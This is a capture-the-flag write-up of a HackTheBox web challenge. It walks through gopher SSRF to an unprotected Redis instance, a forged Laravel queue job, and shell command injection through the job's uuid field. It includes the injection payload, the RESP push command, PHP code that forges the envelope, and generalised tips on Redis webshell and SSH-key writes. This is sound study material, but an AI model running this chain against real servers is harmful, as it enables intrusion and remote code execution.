Note
The screenshot feature fetches user URLs; gopher://127.0.0.1.nip.io:6379 bypasses the localhost check and speaks RAW Redis. RPUSH a hand-crafted Laravel job envelope onto laravel_database_queues:default whose rmFile job runs system(\"rm \".$uuid) — inject through $uuid for command execution when the queue:work worker picks it up.
Screencrack — gopher SSRF → Redis → Laravel queue job RCE
Platform: HackTheBox · Category: Web (server-side) · Stack: Laravel (PHP) + Redis queue + Apache, queue:work worker
Challenge overview
A Laravel "URL screenshot" app with a background worker:
php artisan queue:work --queue=default -v --sleep=600 # processes jobs from Redis
The RCE sink lives in the rmFile job, which builds a shell command from a job field:
public function deleteFile() {
system("echo '".$this->uuid."'>>halo");
system("rm ".$filepath); // $uuid flows into a shell command -> injection
}
rmFile is never dispatched by the app — we must enqueue it ourselves into Redis. Redis runs in the
container with protected-mode no, and the app's screenshot fetcher can be pointed at it.
Step 1 — reach Redis with gopher SSRF
The fetcher blocks obvious localhost URLs, but 127.0.0.1.nip.io resolves to 127.0.0.1 and slips the
check, and gopher:// lets us write raw bytes to the Redis port — enough to issue an RPUSH:
gopher://127.0.0.1.nip.io:6379/_<url-encoded RESP for RPUSH ...>
Step 2 — craft a genuine Laravel job envelope
Laravel jobs are JSON envelopes wrapping a serialized command. Generate the exact envelope the
framework would produce (so the worker accepts it) by calling the protected createPayload() on the
real RedisQueue via reflection:
$redisQueue = app('queue')->connection('redis');
$m = new ReflectionMethod($redisQueue, 'createPayload'); $m->setAccessible(true);
$job = new rmFile(new FileQueue($injection, "txt")); // $injection -> rmFile->uuid
echo $m->invoke($redisQueue, $job, 'default');
Put the command injection in the uuid, closing the original system("rm ...") context:
$injection = "'; cat /flag > /www/public/static/style.css; echo '";
Step 3 — RPUSH it onto the queue via the gopher SSRF
The queue key is laravel_database_queues:default (prefix from
Str::slug(APP_NAME).'_database_'). Encode the RESP command and ship it:
*3\r\n$5\r\nRPUSH\r\n$31\r\nlaravel_database_queues:default\r\n${len}\r\n{json_payload}
URL-encode that as the gopher path and send it through the screenshot endpoint
(/api/get-html?site=gopher://127.0.0.1.nip.io:6379/_...). When queue:work next polls, it deserializes
the job, runs rmFile::deleteFile(), and our injected command executes — here copying /flag into a
web-served static file:
curl http://target/static/style.css # -> HTB{my_j0b_qu3u3_h4s_h0l3s}
(The worker has --sleep=600; on remote you simply wait for the next poll.)
Flag: HTB{my_j0b_qu3u3_h4s_h0l3s}
Takeaways (generalized techniques)
- gopher:// + unprotected Redis = arbitrary command execution surface.
gopher://writes raw TCP, so any SSRF reaching aprotected-mode noRedis lets you run Redis commands (RPUSH,CONFIG SET,SAVEfor webshell/cron/SSH-key writes).<ip>.nip.iodefeats string-based localhost blacklists. - Queue back-ends are deserialization sinks. A Redis/SQS/etc. job queue trusts whatever envelope is
on it; forge a valid one (reuse the framework's own
createPayload()via reflection so signatures/shape match) and you control the worker's next deserialize → gadget/system(). - Command injection through a job field:
system("rm ".$field)with attacker-set$fieldis a shell break ('; cmd; echo '). Combine "I can put a job on the queue" with "the job concatenates a field into a shell" for clean RCE.
Sources & references
- Challenge source:
hackthebox/web/screencrack - gopher/Redis SSRF: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#redis